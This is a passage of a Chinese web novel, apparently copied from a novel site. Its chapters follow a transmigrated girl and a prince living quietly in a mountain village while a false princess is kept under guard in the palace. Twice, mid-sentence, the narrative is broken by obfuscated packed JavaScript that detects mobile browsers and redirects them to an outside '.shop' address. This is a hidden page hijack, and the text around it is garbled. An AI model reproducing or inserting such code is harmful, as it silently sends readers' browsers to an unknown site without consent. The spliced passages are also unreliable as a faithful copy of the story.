"就是……随随便便地对人好。不问你是谁,不问你从哪来,看见你路过就招呼你歇脚,看见你饿了就给你吃的。" "曦宇人信一句话——路过的都是客,客到了家门口,没有不招待的道理。"拓宏看着远处的湖面,"我母亲在曦宇住的时候,经过一场大旱,连续三年颗粒无收。据说哪怕家里只剩最后一碗米,遇到上门的乞丐也会分半碗出去。她的院子,每天都开着门,后来有人问她,万一自己饿死了怎么办?我母亲说——饿死是命,不招待客是亏心。命可以认,心不能亏。" 悦然听着,没有说话。 风吹过来,湖面荡起细碎的光,像有人在水面上撒了一把碎金。 她忽然觉得——这个世界没有那么差。 中午他们去了老渔夫家。三条煎鱼端上了桌,鱼皮金黄酥脆,鱼肉雪白鲜嫩。旁边一碗酸笋汤,汤色奶白,酸香扑鼻。 悦然吃了两条鱼、两碗饭、一碗汤。 老渔夫的婆娘给她添了碗汤,又夹了块鱼肚子上最嫩的肉放她碗里:"多吃点,看你瘦的。年轻女孩子不能怕胖,怕胖就长不高。" 悦然低头看着碗里那块鱼肚子肉,忽然想起——好像也有人给她夹过鱼肚子肉。是谁?她记不起来了。但那种感觉还在:被人照顾的感觉,被人当小孩宠的感觉,不用争、不用抢、不用证明自己值得被爱的感觉。 她低下头,把那块鱼肉吃完了。 第九天,他们的路经过一个小村,村口石碑上刻着"稻香村"三个字。 晒谷场上,几个小孩在追着跑。跑在最前面的是个扎羊角辫的小姑娘,五六岁的样子,后面两个男孩追不上,急得直喊"阿桔你等等我!" 那个叫阿桔的小姑娘跑过然然身边时,忽然停下来,歪着头看了她一眼。 "姐姐,你从哪里来呀?" "从莲京来。"悦然蹲下身子,和她平视。 "莲京!"小姑娘眼睛一亮,"莲京是不是有很大的宫殿?" "差不多吧。"悦然笑了,"不过我觉得你家这里也挺好。" "哪里好?这里什么都没有,连甜铺子都只有一家。" "有追着跑的人呀。"然然说,"莲京没有人追着跑。" 小姑娘拉着她的手往村里跑——"姐姐来我家喝茶!我娘做的米糕可好吃了!" 悦然被她拽着跑了十几步,忽然回头看了一眼拓宏。 拓宏站在路边,双手插在腰间的麻绳里,看着她被一个小姑娘拉着跑,嘴角弯了一下。 她也在笑。 不是那种小心翼翼的笑,不是苦笑——是那种被一个小姑娘拽着跑时来不及收住的、从心底冒出来的笑。 他知道,她笑起来的样子,一点都不像拓夏。 小姑娘的娘姓周,村里人都叫她周嫂子。她正在灶台前蒸米糕,看见女儿拉着个陌生姑娘进门,先是愣了一下,然后笑呵呵地搬凳子倒茶。 "尝尝!今年新打的糯米,刚摘的桂花!" 悦然咬了一口。米糕又软又糯,咬下去满嘴都是桂花的香气。 "好吃。"她说,这次没有犹豫。 周嫂子又看了然然一眼,忽然压低声音:"闺女,你多大啦?" "……十岁。" "十岁?"周嫂子上下打量了她一眼,"不像啊。我看你这身量,怎么也有十二三了。米糕带着路上吃,我给你们包几块。" 出门的时候,阿桔追出来,往她手里塞了一把炒栗子,装在一个小布袋里,布袋上绣着一朵歪歪扭扭的小花。 "送你的!我绣的!好看吗?" "好看。"悦然蹲下来,认真地看着那朵歪歪扭扭的花,"特别好看。" 走出稻香村的时候,悦然回头看了一眼。阿桔站在村口大榕树下冲她挥手。旁边的石桌上,老人们还在下棋,落子声和笑骂声远远地传过来——"你这一步走得臭!" 她忽然觉得这个村庄像一个梦——一个她从来不知道可以有的梦。 她不知道,他们走出村子前,老渔夫和周嫂子家里的桌子上,都被拓宏放了一度银两。 她只沉醉在这朴实的梦境中。 傍晚,他们远远地看见了雨虹山。 暮色里,那座山的轮廓像一道黛色的屏风横在天边,山腰处有隐约的红——不是花,是枫叶。深秋的雨虹山,满山红叶像火烧云落在了林子里。 悦然站在路边,看着那座山,忽然站住了。 风吹过来的时候她的眼眶红了。 她到曦宇的第一天,就是在那座山下醒来的。那时候她什么都没有——没有名字,没有身份,没有过去。她从那座山下出发,走进驿站,走进峡谷,走进皇宫,走进那些她以为会要了她的命的风波。 现在她又回来了。 不是原来的那个她。现在她站在路边,衣裳换了三茬,鞋换了三双,个子比出发时高了将近一个头。 她已经不是十岁了。 这些天的自愈,每愈合一次,身体就推进一步。她的脸拉长了,五官舒展了,四肢的比例像一个十三四岁的少女,手臂和腿都长出了该有的线条。她的肩膀比出发时宽了一点,腰线也显出来了,走路的时候挺直着背,抬着脸,看天看云看远山。 拓宏的身高将近五尺半,她现在只比他矮一个头——大约五尺的样子,和一个十三岁的少女差不多。 不只是骨头长长了——是整个人的姿态变了。她不再是小小的一团,她开始占更多的空间,呼吸更多的空气,看更多的东西。 她不怕被看见了。哪怕宇文轩站在她面前,都一定认不出她了。 "走吧。"她说,声音比十天前亮了不止一个调。 第十天下午,他们到了杏花村。 进村之前又过了一个卡口。这是最后一个——雨虹山脚下的杏花村偏僻,平时连卡口都没有,但最近也设上了。两个兵卒懒洋洋地守着,查验路引时心不在焉。 拓宏递上路引,照例说了一遍"带妹妹探望舅舅"。兵卒看了然然一眼——一个瘦高的少女,和通缉令里说的十岁女娃全然不同。 "行,走吧。" 走过卡口,悦然笑了。 "最后一个了。"阿泽说,"不用再藏了。前面就是杏花村了。”" 几十户人家散落在山坳里,土墙青瓦,炊烟袅袅。村口那棵老杏树枝干虬曲,此刻光秃秃地立着。一条溪水从山上流下来,绕村而过,溪上架着一座木桥。 悦然站在桥上,低头看溪水。 水很清,能看见底下的卵石和游鱼。她的倒影映在水面上——一个十三四岁的少女,眉眼舒展,嘴角微翘,风把她的头发吹到脸侧,她伸手拨了拨,倒影也跟着拨了拨。 "这就是我啊。"她轻声说。 拓宏站在桥的另一头,没有催她。 她看够了,转过身来。 "阿泽,这个村子真好。" "嗯。" "你只会说''嗯''吗?" 拓宏看了她一眼,嘴角弯了一下。 "嗯。" 拓宏在村尾租了一间小院。两间正房,一间灶房,院子里有一口井,井边种着几株月季,深秋了还在开,瘦瘦小小地顶着几朵红花。 过了一会儿,炊烟从灶房的烟囱里升起来。 "然然,吃面。"他在灶房门口喊了一声。 她走进去,看见桌上放着一碗清汤面,面上卧着一个荷包蛋,几根青翠的葱花浮在汤里。 面煮得有点久,有点糊。但汤是热的,蛋是热的。 她一口一口把那碗面吃完了。 拓宏坐在对面,看着她吃完,什么也没说。只是把空碗收走,舀了一碗热水放在她面前。 "脚伸出来。" 她把脚伸过去。他脱掉她的鞋——脚底板光洁,连疤痕都没有。但他还是低头看了看,确认了两遍,才把药膏收回去。 "好了。"他说,"以后疼就说,别忍着。你愈合得快,但也要会喊疼。" 这是他第二次说这句话。 然然看着他,忽然觉得眼眶有点热。 "这里是杏花村。"他说,"没有公主,没有王位,没有替身。你以后就叫然然。我以后就叫阿泽。就这么简单。" 悦然捧着那碗热水,看着水面上升起的白汽。 她不知道这个简简单单的名字能撑多久,但至少此刻,她愿意试一试。 窗外,雨虹山的轮廓在暮色中渐渐模糊。山腰处有一线极淡的光,不知道是残阳还是远处的灯火。 25. 囚在空城 当你凝视深渊时,深渊也在凝视你。 ——尼采《善恶的彼岸》 拓宏带悦然离开的第五天,拓云去了夏玉阁。 他不是去探望的。他是去问罪的。 手里提着的枣花酥被他攥得变了形,纸包上全是褶子。拓夏小时候最爱吃这个,每次出宫回来他都给她带。可今天他不是来带点心的。 推开夏玉阁的门时,拓夏正坐在窗前对着铜镜梳头。听见脚步声,她从镜子里看了他一眼,笑了。 "三哥,来了。" 拓云把那包变了形的枣花酥摔在桌上。 "你对悦然说了什么?" 语气不是问,是审。 拓夏梳头的动作顿了一下。随即继续,语气依旧轻柔。 "三哥这话什么意思?夏儿只是去陪姐姐说了会儿话而已。" "说了什么?"拓云走到她面前,双手撑在梳妆台上,低头盯着她。"一字不落地告诉我。" 拓夏放下梳子,转过身看着他。她的表情从平静变成委屈,嘴唇微微抿起,眼眶渐渐泛红——这个表情拓云太熟悉了,小时候拓夏每次闯了祸被父王训斥,就是这个表情。 "三哥是在质问夏儿吗?"她声音微微发颤,"夏儿才刚回来,连宫门都没出过几回,云哥哥就怀疑夏儿逼走了姐姐?夏儿做错了什么?是姐姐自己要走的,和夏儿有什么关系?" "那外面的流言呢?"拓云身子往前倾了倾,目光像两根钉子钉在她脸上。"那些流言是从哪儿来的?你别说你不知道。我查了五天,查不到源头——能让整个莲京的宫人一夜之间传遍同样的话,这种手笔,不是普通人能做到的。" 拓夏沉默了一瞬。 然后她站起来,走到拓云面前,蹲下身子,仰头看着他,像小时候犯了错求他原谅那样。 "三哥,"她轻声说,"夏儿承认,夏儿确实在宫人面前叹过气,说过''不知是不是天意''那样的话。可夏儿不是故意的——夏儿只是担心姐姐,怕天异真的和姐姐有关,怕姐姐留在宫里受苦。夏儿说那些话,是心疼姐姐,不是害姐姐。" 她抬起手,握住拓云的手,指尖温热。 "三哥,你信夏儿,还是信一个来路不明的女子?" 来路不明的女子。 这六个字从她嘴里说出来的时候,拓云觉得脊背一凉。 他低头看着她的脸——圆圆的下巴,微微上翘的鼻尖,笑起来时左边嘴角比右边高一点。这张脸和拓夏一模一样,一丝一毫都不差。 可真正的拓夏不会说"来路不明的女子"。 真正的拓夏会哭,会闹,会拉着他的袖子说"三哥你不要生夏儿的气"。真正的拓夏心软得连蚂蚁都舍不得踩,怎么可能用这种冷冰冰的语气评价一个她根本不了解的人? 他轻轻抽出自己的手。 "夏儿,我最后问你一次——跃然走,和你有没有关系?" 拓夏的表情变了。 只一瞬——委屈消失了,取而代之的是一种极短暂的、极快速的冷漠,像水面下有什么东西浮上来又沉下去。那个眼神不属于拓夏,不属于任何一个他认识的妹妹。 然后她重新笑了,笑得比刚才更温柔。 "三哥,夏儿是你的妹妹。你的亲妹妹。你连夏儿都不信了吗?" 拓云看着她的笑脸。 那张脸。那张他疼了十几年的脸。圆圆的下巴,上翘的鼻尖,左边比右边高的嘴角。他记得她三岁时摔跤哇哇大哭的样子,记得她七岁时偷吃糖被抓包心虚的样子,记得她十岁时趴在他背上说"三哥我永远不离开你"的样子。 可此刻这张脸上挂着的笑,不是拓夏的笑。 拓夏笑起来眼睛会弯成月牙,眼角会有细细的纹路,会露出两颗小虎牙。眼前这个人笑起来嘴巴弯了,眼睛却没有弯——那双眼睛是冷的,像两颗打磨得极好的珠子,漂亮,但没有温度。 他忽然明白了。 这不是他的妹妹。 他的妹妹已经死了。这具身体里住着另一个人。 他想喊。想质问。想抓住她的肩膀摇晃,问"你是谁?你把我妹妹怎么了?" 可他喊不出来。 因为那张脸还是拓夏的脸。那双手还是拓夏的手。那个声音还是拓夏的声音。如果他喊出来,如果他揭穿了她,他就等于亲手把拓夏再杀一次——拓夏的身体还在,拓夏的容貌还在,但他要亲手承认,那些都不是拓夏了。 他做不到。 他站起来,看了她很久。 "夏儿,"他的声音很哑,"我希望是我错了。" 他转身走向门口。 "三哥——"她在身后叫他,声音里带着一丝真切的委屈,像极了他记忆中的拓夏。 他没有回头。 他不敢回头。因为他怕自己一回头,就会假装什么都没发生过,就会走回去,抱住那张脸,对着那个不是拓夏的灵魂喊"夏儿"。 他不能。 他走出夏玉阁的时候,腿在发抖。深秋的冷风灌进领口,他却觉得浑身像被抽干了力气。他死死咬着后槽牙,直到口腔里泛起一丝极淡的血腥味,才勉强压下了喉头那股想要呕出来的冲动。 拓云回到自己殿中,在灯下坐了一整夜。 天亮时他写了一封书信,留在案头,然后去宇文轩寝殿跪下磕了三个头。那三个头磕得很重,额头碰地发出闷响。 宇文轩看着跪在地上的小儿子,沉默了很久。 "你想好了?" "儿臣想好了。" "去哪里?" "滨蓝国。儿臣想去看看那里的湖。" 宇文轩又沉默了一会儿。然后点了点头。 "正好滨蓝国派人来求,近来那里内忧外患,需要支援。你去历练一下也好,朕让萧潜陪你去。" 拓云磕了最后一个头,起身离开。 他没有回头看夏玉阁的方向。 拓云离开的当天,假拓夏便去求见宇文轩。 她跪在宇文轩面前,声音焦急。 "父王,青岚那边瘟疫蔓延,煦统领一个人去,夏儿实在放心不下。夏儿随师父学了些医术,识得些草药,想去帮忙照料病患。求父王准许夏儿出宫。" 她说得极为恳切,眼眶泛红,声音微颤,像极了一个心系苍生的善良公主。 宇文轩看着她,目光温和而慈爱。 他放下手中的折子,亲手将她扶起来,拍了拍她的手背。 "夏儿有心了。但朕不允。" 拓夏一愣。"父王——" "夏儿才刚回宫,身子还没养好,青岚那边疫病凶险,万一染上了该当如何?"宇文轩的语气不容商量,"朕已经派了太医随行,不缺夏儿一个人。你安心留在宫里,等青岚太平了,朕再让人陪你去。" "可是父王——" "夏儿。" 宇文轩叫她的名字。声音依旧温和,但眼神忽然变了——只是一瞬,像一潭静水底下有什么东西游过去,波纹都没起一个,但水底的暗流她已经感觉到了。 "朕说了,不允。" 他微笑着。 "朕好不容易找回的女儿,朕不能再让你出任何差池。你哪里也不许去。" 他转头吩咐老宫人: "传朕旨意——拓夏公主宫中加派侍卫,日夜守护。公主若有任何需要,即刻禀报朕。公主若要出宫,须朕亲自准许。" 拓夏站在原地,脊背挺得笔直,脸上还挂着得体的微笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632089|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她知道——她被锁住了。 宇文轩不是在保护她,是在看住她。那句话里"任何差池"四个字,咬得极重。他不是怕她染病,是怕她跑了。 "夏儿听父王的。"她低下头,声音乖顺。 宇文轩点了点头,端起参汤轻轻吹了吹,没有喝。 他看着她退出殿外,看着那道淡紫色身影消失在殿门外。 目光才慢慢沉下来。 他知道她不是拓夏。 煦审年走前那句"臣回来再禀",加上那份查无此人的调查结果,已经够了。他不知道她是谁,但他知道——煦审年匆匆离去不肯明说,拓石要打完仗回来再问,拓宏带着悦然不知所踪,拓云宁可离开也不愿与她对质。 三个儿子,一个比一个谨慎,一个比一个不肯把话说破。但他们的态度本身就是答案。 他们都不信她。 而他们不信的她,恰恰解了拓石的毒,送了最真的药。 她是谁?她来做什么?她为什么能解天下奇毒? 这些问题他一个都答不上来。但他知道一件事——她是一切变故的枢纽。所有的线都系在她一个人身上。 如果他也让她走了,这条线就断了,他就再也查不出背后的人是谁。 所以她必须留在宫里。留在他的眼皮底下。 次日清晨,宇文轩在寝殿中又收到了两份奏报。 第一份来自禁军副统领,脸色苍白。 "陛下,熙远王散布在各处宫室的梧姓亲卫,一夜之间全部消失。属下查过出城记录,城门守军没有看到任何异常。" 宇文轩眼神微动:"从暗道?" "属下查过茗轩宫后院假山,确有一条废弃暗道,通往城外。出了城就断了线索——沿途没有痕迹,没有目击者,像水渗进沙子里一样,干干净净。" 宇文轩沉默了一瞬。 青岚遗族,以情报见长。梧苒当年能在他眼皮底下修一条暗道而不被发现,她训练出来的人自然也能在出城后不留一丝痕迹。不是凭空消失,是跟着拓宏走了。那些梧姓亲卫本就是他的人,他走到哪里,他们便跟到哪里。过去十几年散布在宫中各处,像棋子落在棋盘上,现在棋局收了,棋子跟着棋手离场。 他只带走了他的人。没有多拿一物,没有伤及一人。 "梧苒,"宇文轩低声说,"你的儿子,就这么走了,朕该怎么护他!" 一夜之间,所有人全部离开了。 只剩下他,和这个来路不明的假公主,守着一座空空荡荡的王城。 莲京的暮秋,雨下了一场又一场。 杏花村的清晨是冷的。悦然被鸡叫醒的时候,灶房里已经有了动静。她推开门,看见拓宏蹲在院子里劈柴,灰褐短褐袖口卷到肘弯,一斧下去木头应声裂开,干净利落。 她站在门口看了他一会儿,忽然觉得这个画面比宫里任何一幅画都好看。 拓石正率大军向西境急行,七日后将在鹤鸣关下与凛锋铁骑正面交锋。 煦审年已经赶到青岚,此刻正面色沉郁地望着正在死去的森林。 拓云在北上的马车里望着车窗外绵延的湖水,不发一言。 而倩婷站在夏玉阁的窗前,望着雨幕中灰蒙蒙的天际线,手中的素白纸伞缓缓转了半圈。 她被困住了。被一个她恨了万年的女人,被一个她曾经爱过万年的男人,被一个比任何人都老谋深算的帝王。 青岚,她也要去。但不是现在。 她会等。 她等了一万年,不差这些日子。 窗外,雨停了一瞬,又落了下来。她看着玻璃窗上自己的倒影,嘴角缓缓向上扯出一个完美的弧度,可那双眼睛里,却像两口枯井,连一丝属于活人的光亮都没有。 26. 灶火初温 "我愿意深深地扎入生活,吮尽生活的骨髓,过得扎实简单。" ——梭罗《瓦尔登湖》 雨虹山下的第一晚,悦然没有睡踏实。 新铺的褥子还带着日头晒过的气味,硬邦邦的,像乡下人实心实眼的脾气。窗外偶尔有风过,吹得哪扇没关严的窗板咣当一响,她就醒一下。 醒了就睁着眼看天棚。 木梁是黑的,墙皮是白的,不像宫里那种雕金描彩的藻井,也不像现代出租屋里永远修不好的漏水渍。就是干干净净的,什么都没有。 什么都没有,反而安心。 她翻了个身,想起拓宏说的那句话——"你以后就叫然然。"就这么简单。好像名字是一层壳,脱掉了,里面的东西才是自己的。“然然”,妈妈叫过,姥姥叫过,沈煦叫过,可是拓宏叫的时候,感觉很不一样。 天快亮的时候,她终于睡沉了。再睁眼,院子里有声音。 是斧头劈进木头的闷响。一下,又一下。节奏不快,但很稳。 她趴在窗台上往外看。 晨雾还没散尽,拓宏蹲在井边,袖口卷到肘弯,正把一截劈好的柴码到墙根。他身上那件灰布衣裳不知哪里淘来的,已经洗得发白,肩头破了个小口,露出里面同样发白的里衣。 不像王子,也不像那个在野苑里挡在她身前的少年。 像个真正的农家孩子。 她看了一会儿,缩回被窝。被窝凉了,但脚趾头碰到褥子底下那一小块还残存着体温的地方,她又把脚缩了回去,蜷着,像只刚钻进窝的猫。 灶房那边传来动静。锅碰到灶台的声音,水倒进锅里的声音,火折子吹燃的声音。 她闭着眼睛听。 这些声音以前都没有。以前她的早晨只有闹钟,一秒一秒地走,每一声都在催她去上学、上班。现在这些声音不催她,只是在说:有人起来了,火生好了,水烧热了。 她又赖了一会儿才起来。 推开灶房的门时,粥已经熬上了。米粒在锅里翻滚,咕嘟咕嘟地冒着小泡,热气扑了她一脸。 拓宏不在灶房。她探头往院子里看,他正蹲在墙角那几株月季前,用手指拨弄着什么。 她走过去。 他在拔枯叶。月季枝上残着几朵红花,花瓣边角卷着,发黄发脆,深秋了还在硬撑着开。他把枯叶一片片掐下来,放在掌心里,攒了一小把,才起身丢到墙根的草丛里。 "这花能过冬吗?"悦然问。 拓宏看了一眼:"再冷些,便搬进堂屋。" 悦然没接话。 她蹲下来,用手指碰了碰其中一朵。花瓣薄得像纸,边缘有一点点枯黄,但还在努力开着。不知道为什么,她觉得这花有点像自己——撑着一口气,不知道还能撑多久,但至少此刻还没落。 拓宏走回灶房,舀了一碗粥端出来,递给她。 "当心烫。" 她接过来,站在院子当中喝了一口。粥熬得比昨晚的面好,没有糊,米粒煮开了花,不稠不稀。热气从碗里升起来,模糊了院子里的青瓦泥墙和那几株瘦瘦小小的月季。 她捧着碗,忽然说:"阿泽,这个院子是谁准备的?" 拓宏正在井边洗手,闻言顿了一下。 “刚租的,如你所见。”拓宏面不改色。 “你别骗我,我看得出来,一路上,你都安排得很妥当。”悦然笑着说。“你知道吗?在我之前的那个时间,你这么大的孩子,还在衣来伸手饭来张口,被父母娇惯着。现在,我在你身边,倒活得真像个孩子了。” 拓宏抬起头,定定看着悦然的眼睛,好一会儿,才缓慢开口:"梧叔先至。青岚的人办这些事,不费功夫。" 他说得轻描淡写,好像只是在说一桩寻常的差事。 但悦然知道,这不是一桩寻常的差事。从他带她走出暗道的那一刻起——不,可能更早,从他第一次说“我陪你”的那一刻起——他可能就已经在准备了。 她没有说谢。 她只是低头继续喝粥。粥碗烫手,她换了个方向捧着,指尖被热气熏得微微发红。 喝完粥,她把碗放在井沿上,在院子里慢慢走了一圈。 两间正房,一间灶房,青瓦泥墙,墙根生着薄薄的青苔。正房屋檐下挂着几串干辣椒,灶房门口整整齐齐码着柴垛。窗台上放着一只粗陶罐,罐里插着几枝枯枝。 她走过去看了看。是杏枝。春天会开花的那种。 不是富贵人家的摆设,但每一样东西都在它该在的位置,干干净净,像是在说:这里有人等你。 灶房有两个灶口,一大一小。小的适合放水壶、瓦罐,大的适合放大铁锅。此刻,小灶口上正放着一个大瓦罐,想来昨晚的面条和今早的粥,都是用瓦罐做的,大灶口上还放着一口新锅,有新铸铁的光泽。 悦然走过去看了看大铸铁锅:"新锅啊。还没开锅吧?" "何为开锅?" "用肥肉把锅擦一遍,然后烧热,让油渗进铁里去。开了锅以后不粘,也不容易锈。" 拓宏点点头,他确实还没用过新锅,过去,梧叔都会帮他打点好。 “你来。”拓宏说着,从灶边的绳子上拿下一块挂着的肥瘦相间的肉,递给悦然。 “我试试。”悦然笑,她也没做过,只知道原理。她切下一块肥肉,拓宏已经点着灶下的火,站在一边看着。 悦然等锅烧热,用筷子夹着肥肉在锅底一圈一圈地擦。 油烟升起来,她的动作一开始还有些生疏,手腕转了半圈就卡住了,肉滑到锅底,油没有抹匀,锅底中间糊了一小块。 她皱了皱眉,重新夹起来,又试了一次。 这一次手腕转得顺了,画出一个均匀的圆。 "成了。"她把筷子放下,锅底乌黑发亮。 拓宏站在旁边看完了全过程,转头看着悦然很满足自得的样子,也微微勾唇笑了笑。 悦然看到拓宏脸上的笑意,也跟着笑了笑,她擦了擦手,在灶台前站了一会儿。 灶膛里的火还没灭,橘红色的光从灶口涌出来,映得这间小小的灶房暖融融的。墙角码着柴,锅台上搁着油年罐,头顶的烟囱往外冒着淡淡的青烟。 这不是宫里的御膳房,不是现代的燃气灶。但这膛炉火,好像也燃起了她心里的某种说不清的情愫。 "阿泽。"她说。 "嗯。" "我想吃炒菜。" 拓宏看了她一眼。 "新锅,"她拍了拍那口乌黑发亮的铁锅,嘴角弯了一下,"不能浪费。" 拓宏嘴角微动,似乎想说什么,最后只点了点头。 "好。" 午间还没到,拓宏便提着一篮子菜回来了。品类不多,但是做顿饭绰绰有余。 悦然洗菜,切菜,到要炒菜时候,拓宏拦下他,“我来,烟大。你先出去。” 悦然笑笑,也好奇拓宏这个王子炒菜的水准,于是转身出去。 再后来,便是着了的厨房和烧成黑炭的菜。 悦然笑得直不起腰。 “原来,你不会啊。” 拓宏脸上现出一阵绯红。 菜最终是悦然炒的,拓宏规矩得立在她身边,帮她调整灶火。 “火大一点。” “火再小一点。” “快,再大一点。” 悦然语音操控,拓宏手动调节,俩人倒是配合得很好。 杏花村的第一日,就是在这温暖的灶火旁度过的。 晚上睡觉时,悦然想起拓宏冲出烟火灶房时候的囧样,还是忍不住大笑。 “咳……”隔壁的拓宏清清嗓子,“好笑?” “哈哈,是啊。”悦然合不拢嘴,笑得更大声。 “你开心便好。”拓宏挠挠高挺的鼻梁,再无言语。 翌日清晨,悦然是被鸡叫醒的。 不是一只鸡,是好几只,此起彼伏地扯着嗓子叫,从村头叫到村尾。 她趴在桌上没动,背上盖着的被子不知道什么时候多出来的——她记得昨晚吃完饭就趴在桌上睡着了,不记得自己回房拿过被子。 被子很旧,粗蓝布的被面,洗得有些发白,但很干净,有一股太阳晒过的气味。 不是宫里的熏香,是太阳的味道。 灶房的门开着,拓宏已经不在屋里。 她从窗户看出去,他正蹲在院子里劈柴。动作比昨天利落了一点,不再是那个劈歪刀口的少年了。 旁边已经码了一小堆劈好的柴,整整齐齐。 她走出灶房,抱着枕头站在门口。拓宏抬头看了她一眼:"醒了?" "嗯。" "灶上有粥。" "你什么时候起来的?" "我惯常早起练功。" 她把枕头放回正房,去灶房。 她把昨夜剩下的菜叶洗干净,拌了一小碟咸菜,和粥一起端出来。 拓宏愣了愣,接过来尝了一口,“好吃。” 悦然笑了,也笑了。 "今日去镇上。"他说。 "买什么?" "你列个单子。" 两个从王宫里出来的人,坐在杏花村的灶房里,用木炭在草纸上写采买单子。 拓宏负责写——他的字硬朗,力透纸背。悦然负责想,想出一个说一个,有时候也要和他争论两句:买五谷还是买白面?油要不要多备两斤? 最后还是定下来了。单子不长,写在一张皱巴巴的草纸上。 杏花村离最近的小镇有十里山路。两人到镇上时已经临近中午。 小镇不大,一条主街从东到西,沿街是卖粮的、卖布的、卖陶器的、卖农具的。拓宏背着背篓,悦然跟在他旁边,两人穿着粗布衣裳,戴着竹骨帷帽——帽子是在家里就戴好的,悦然那双眼睛在杏花村里不需要藏,但出了村还是得遮一遮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632090|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谁也不多看谁一眼,就像一对最寻常的赶集兄妹。 他先去了粮铺。糙米、白面、小米各买了一些,年是一大块粗年,用灰白色竹筒装着。 悦然已经适应了这里“盐”叫“年”的叫法。度日如年,便是盐的丈量,这叫法挺有哲学意境的。还有“糖”,所有美好都是得到,要感恩,所以叫“得”,也不知道谁设计了这样的叫法,但是真的很有哲思。 然后是布庄——悦然的衣裳已经短了一截,袖口不到手腕,衣摆只到大腿中部。 拓宏买了两匹布,一匹靛蓝粗布做外衫,一匹素白棉布做里衣,又拿了一双厚底布鞋。 他跟布庄老板说做两双,一双"大一指",一双“打两指”,老板奇怪地看了他一眼,他也没解释。 然后是杂货铺。针线、火镰、灯油、粗纸、炭条。 每一样都是过日子要用的,每一样都不贵,但加起来装满了一整个背篓。悦然跟在他身后,看着他一件一件往背篓里放,没有说话。 回程路过集市中心,一阵焦香从巷口飘出来。悦然脚步慢了一拍,转头看去——巷口支着个小摊,一个老婆婆正守着炭炉,炉面上搁着几块烤得金黄的饼,饼面上嵌着芝麻和碎核桃,在炭火的热气里微微鼓起,边缘有一点焦色,香气一阵一阵地往鼻子里钻。 悦然站住了。 拓宏顺着她的目光看了一眼,没有问她想不想吃。他直接走过去,从怀里摸出铜板递上。老婆婆利落地夹起一块最焦的,从身旁抽了一张干荷叶裹了,递过来。那荷叶是晒过的,褪了翠色,变成灰绿,但被饼的热气一蒸,竟也透出一缕极淡的草木清气,若有若无,像夏天的影子赖着不走。 “当心烫。”拓宏把荷叶包塞进悦然手里。 她隔着荷叶把饼颠了颠,太烫,换了一只手。饼面上嵌的芝麻在炭火里烤得焦香,咬一口,面皮外酥内软,核桃碎裹着一层薄薄的咸味——不是甜的那种,是咸香口的,滚烫的面粉香混着芝麻的焦脆,在凉风中咬下去格外扎实。 她把饼举到他面前。拓宏低头咬了一小口,嚼了嚼。 “如何?”悦然问。 “尚可。” “你每次都说尚可。” 拓宏没接话,嘴角有一点极淡的弧度。 两个人站在路边就着荷叶把饼吃完了。饼很烫,风很冷,呼出的白气和饼的热气混在一起,像两个人共享的一小片暖雾。悦然把干荷叶叠成一个小方块,塞进背篓边上的布兜里。 “留着?” “嗯,这荷叶还能煮水,清热。” 拓宏看了她一眼,没说话,又伸手把她背篓边上那个布兜往里面塞了塞,免得掉出来。 路过一家炒货铺子时,拓宏让她在门口等。她站在风里,看他蹲在铺子门口,在一排敞口的麻袋前低着头挑东西。他挑得很仔细——先是拣了几颗栗子放在掌心里掂了掂,又凑近闻了闻,才让伙计用纸袋装了。然后指着旁边的干果问了句什么,伙计点头,他又要了一小包核桃仁。 他把两包东西塞进背篓,出来时手里多了一小包油纸裹着的东西,递给她。悦然打开,里面是几块切成菱形的糖块,琥珀色,半透明,裹着薄薄的米粉。是麦芽糖。 她愣了一瞬,才想起刚来镇上的时候经过了一家“李家得铺”,她多看了两眼那招牌上写的“得”字——那时候她还不认识这个字,好奇念什么。就这么两眼,他看见了。 “你怎么知道我想吃甜的?” “你方才盯着那‘得’铺看了好一阵子。” “哦,那个字是‘得’?像是我那个时代的篆书,我不太认识。”她把糖块放进嘴里,麦芽糖在舌尖上慢慢化开,甜味不冲,温温润润的,像是能甜到胃里去,“这个名字好——甜就是得,得到了,所以甜。” 她把油纸包举到他面前。他摇头,悦然伸手拿了一块,塞在他嘴里。 “太甜了。” “甜了才幸福。” “何为‘幸福’?” 悦然笑了一下,把油纸包好,小心地塞进背篓里。 “就是你们说的平安喜乐,这就就是很满足,很开心的感觉。” 拓宏点点头,伸手接过背篓,“要回程了,我来。” 悦然也不推辞,背了一会儿,确实肩膀疼了。 两个人继续往前走。风从镇口灌进来,吹得路边的幌子猎猎作响。 悦然走在前面半步,拓宏背着背篓跟在后面。 风把那段距离填满了。谁也不说话,但谁也不觉得该说话。 悦然忽然想起现代的一句话——“陪伴是最长情的告白。” 想到这个,她自己都有点不好意思,拓宏,只是个十五六岁的孩子啊! 她回头又看了一眼拓宏。他正低头走着,肩上的背篓随着步伐轻轻晃动,里面的干荷叶发出极轻的沙沙声。 她笑了笑,转回头,踩着路上的石子往前走。 是啊,这样真好。 27. 深冬同灶 "我们要有最朴素的生活和最遥远的梦想,即使明天天寒地冻,路远马亡。" ——七堇年《被窝是青春的坟墓》 在雨虹山下安定数日后,拓宏带悦然重爬雨虹山。 这是她第二次走这条路——上一次还是跳过浊泉后拓石拓宏带她从山顶下来,满山豕群尸骸。那时候她神魂涣散,被拓石抱在怀里,什么也没看清。 